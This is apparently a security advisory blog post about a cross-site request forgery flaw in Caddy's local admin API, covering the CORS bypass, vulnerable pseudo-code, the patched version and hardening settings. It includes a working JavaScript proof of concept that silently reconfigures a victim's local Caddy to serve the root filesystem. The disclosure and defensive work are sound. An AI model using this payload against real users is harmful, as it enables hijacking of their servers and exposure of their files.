Feb 25, 2026·6 min read·6 visits
Caddy's admin API (port 2019) didn't validate the Origin header. A malicious website can force your browser to send a POST request to 127.0.0.1, overwriting your server config with one controlled by the attacker. Fix: Upgrade to v2.11.1.
A critical Cross-Site Request Forgery (CSRF) vulnerability in Caddy Web Server's administrative API allows remote attackers to silently overwrite the running configuration of a locally running server. By leveraging 'Simple Requests' to bypass CORS preflight checks, a malicious website can force a developer's browser to POST a new config to localhost:2019, effectively seizing control of the server.
We all do it. We spin up a service on 127.0.0.1, see that it's not listening on 0.0.0.0, and assume we are safe in our little fortress of solitude. Caddy, the web server famous for being "secure by default" thanks to its automatic HTTPS, fell into a classic trap with its administrative API. By default, Caddy listens on port 2019 for configuration updates. This is how you reload Caddy without downtime.
The vulnerability here isn't a buffer overflow or a complex logic error; it's a fundamental misunderstanding of how the web works. Developers often treat localhost as a boundary that the outside internet cannot touch. But to a web browser, localhost is just another origin. If you visit evil-site.com while Caddy is running on your machine, evil-site.com cannot read data from your local Caddy instance (thanks to Same-Origin Policy), but it can absolutely send data to it.
CVE-2026-27589 exploits this write-only access. It turns the browser into a confused deputy, instructing it to fire a massive JSON payload at the local admin port. Since Caddy didn't bother checking the return address (the Origin or Host headers), it happily accepts the package, assuming it came from the system administrator. It's the digital equivalent of accepting a package bomb just because it was delivered by your own mailman.
To understand why this works, you have to understand the "Simple Request" loophole in CORS (Cross-Origin Resource Sharing). Normally, if a website tries to POST JSON data to a different origin, the browser sends an OPTIONS request first (the Preflight). If the server doesn't explicitly allow it, the actual POST never happens. Caddy is a Go application; it doesn't just open everything up to CORS by default.
So how does the exploit land? The trick is the Content-Type. If an attacker sends the request as application/json, the browser triggers a preflight. But if the attacker lies and says the content is text/plain or application/x-www-form-urlencoded, the browser treats it as a "Simple Request" and sends the POST immediately without a preflight.
Here is where the Go standard library works against us. Caddy's config loader reads the body of the request. It doesn't strictly enforce that the Content-Type header matches the body format. It just takes the stream of bytes and feeds it to a JSON decoder. The decoder doesn't care about headers; it sees valid JSON brackets and parses them. This allows the attacker to bypass the browser's safety checks entirely.
Let's look at the logic inside admin.go prior to the patch. The handler for the load endpoint was terrifyingly optimistic. It essentially said, "If I received a request, process it."
// Vulnerable logic pseudo-code
func (h *adminHandler) handleLoad(w http.ResponseWriter, r *http.Request) {
// No check for Origin
// No check for Host
// No CSRF token validation
// Read the body
config, err := io.ReadAll(r.Body)
if err != nil { ... }
// Apply config
err = caddy.Load(config, true)
}The fix, introduced in commit 65e0ddc2 (and others), adds explicit origin enforcement. It also introduces a clever mechanism to track the source of the configuration. If the config comes from an API call (like a CSRF attack), Caddy now recognizes that the running state effectively diverges from the disk state.
> [!NOTE]
> The patch introduces ClearLastConfigIfDifferent. If the request headers don't contain specific metadata (which a browser cannot spoof easily), Caddy clears its internal pointer to the config file, preventing it from blindly reloading a compromised state later.
Constructing the exploit is trivial. We don't need fancy tools; we just need a hidden HTML form or a simple fetch command on a malicious page. The goal is to replace the victim's Caddy configuration with one that serves a malicious payload or opens a reverse shell via a sidecar.
Here is a realistic PoC that an attacker might embed in a hidden iframe on a high-traffic site:
// The payload: A Caddy config that opens a file server on port 8080
// pointing to the root of the drive (if permissions allow)
const maliciousConfig = {
"apps": {
"http": {
"servers": {
"stealer": {
"listen": [":8080"],
"routes": [{
"handle": [{
"handler": "file_server",
"root": "/"
}]
}]
}
}
}
}
};
// The trigger using text/plain to bypass CORS preflight
fetch('http://127.0.0.1:2019/load', {
method: 'POST',
mode: 'no-cors', // Opaque response, we don't need to read the reply
headers: {
'Content-Type': 'text/plain' // The lie that enables the attack
},
body: JSON.stringify(maliciousConfig)
});When the victim loads the page, the browser fires the POST. Caddy accepts the text/plain body, parses the JSON inside it, and reloads. Instantly, the developer's local web server is replaced by the attacker's configuration.
The impact goes beyond just "defacing" a local server. Since Caddy is often used as a reverse proxy for internal services or as a local development environment, an attacker can effectively hijack network traffic.
localhost:80 requests to a phishing site, stealing local development credentials.The most subtle danger is Persistence via Confusion. If the attacker overwrites the config in memory, the developer might not notice until they try to reload the service and realize their local Caddyfile is being ignored or behaves erratically.
The fix in version 2.11.1 is robust. It defaults to strictly enforcing the Origin header. If the Origin does not match the listener address (e.g., 127.0.0.1:2019), the request is rejected. This kills the browser-based attack vector immediately because browsers essentially force the Origin header to be the malicious domain.
Immediate Actions:
{
"admin": {
"enforce_origin": true,
"origins": ["127.0.0.1:2019"]
}
}This vulnerability serves as a grim reminder: relying on network perimeter (even the localhost perimeter) is insufficient. Authentication and Origin validation must happen at the application layer, regardless of where the packet is coming from.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Caddy CaddyServer | < 2.11.1 | 2.11.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-352 (CSRF) |
| Attack Vector | Network (Drive-by) |
| CVSS v4.0 | 6.9 (Medium) |
| Impact | High Integrity (Config Overwrite) |
| Exploit Status | PoC Available |
| Bypass Method | CORS Simple Request (text/plain) |
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.